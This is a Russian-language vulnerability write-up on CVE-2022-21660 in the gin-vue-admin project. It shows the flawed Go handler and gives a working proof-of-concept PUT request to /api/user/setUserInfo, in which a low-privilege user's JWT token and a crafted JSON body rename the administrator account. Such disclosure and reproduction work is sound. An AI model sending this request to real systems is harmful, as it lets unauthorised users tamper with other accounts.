
CVE-2022-21660
Добро пожаловать, уважаемые эксперты! Поставьте звезду (start) этому проекту.```http https://github.com/flipped-aurora/gin-vue-admin/

После написания статьи с подачей заявки на CVE возникли некоторые сложности, но, к счастью, заявка была одобрена, сотрудники GitHub отреагировали быстро.
> Примечание: до подачи заявки на CVE я уже подал заявку в CNVD.

### 2. Настройка среды
Следуя официальному руководству```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
Затем перейдите в каталог server.```bash go generate
```bash
go build -o server main.go
Затем просто запустите сервер

Затем переходим к WEB, заходим в каталог web, вводим```bash cnpm install || npm install
Затем просто ждем

После завершения установки веб-страница откроется автоматически


Затем инициализируем настройки базы данных

После настройки нажимаем "Инициализировать" и входим в систему

### 3. Воспроизведение уязвимости
### Вертикальное повышение привилегий через SetUserInfo
##### 1. Несанкционированная установка личной информации пользователя через интерфейс SetUserInfo
Переходим на страницу управления пользователями и создаем новую роль с низкими привилегиями

Видно, что права администратора не предоставлены. Затем создаем новую учетную запись и назначаем её этой ролевой группе


Уязвимость находится в файле https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, строка 273
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
Здесь не проверяется переданный ID, ID представляет пользователя, просто передав указанный ID, можно изменить личную информацию соответствующего пользователя

Сначала мы используем X-token администратора, чтобы изменить имя пользователя с ID=1 на test1, затем мы можем увидеть в бэкенде, что ID администратора изменен на test1

Затем мы используем токен только что созданной учетной записи UzJu_HxSecTeam, чтобы заменить его и изменить имя пользователя администратора на test2
Сначала в личной информации учетной записи UzJu_HxSecTeam мы переходим в раздел "Изменить пароль", произвольно меняем пароль, а затем получаем токен аккаунта

Этот токен принадлежит роли с низкими привилегиями. Обычно пользователь с низкими привилегиями не может изменять никакую информацию администратора.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Мы вставим токен и сформируем следующие данные JSON.```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Мы подставляем Token в интерфейс setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
Затем нам сообщают, что настройка прошла успешно

Теперь переключаемся на учётную запись администратора и проверяем, изменилось ли имя на test2
